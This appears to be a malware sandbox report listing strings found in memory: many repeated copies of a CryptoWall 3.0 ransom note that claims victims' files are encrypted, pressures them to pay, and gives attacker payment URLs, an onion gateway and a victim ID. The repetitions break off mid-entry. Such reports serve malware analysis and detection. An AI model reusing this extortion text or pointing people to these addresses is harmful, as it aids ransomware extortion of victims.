Source: restore_files_gpmus.html409.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.html42.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.txt29.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.txt324.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.txt6.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.txt131.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.html224.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.html80.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.html233.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.txt151.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.txt124.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.html333.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.html8.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.html129.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.html180.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.html382.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.html341.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.txt209.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.txt319.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.txt167.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.txt75.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.html101.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" 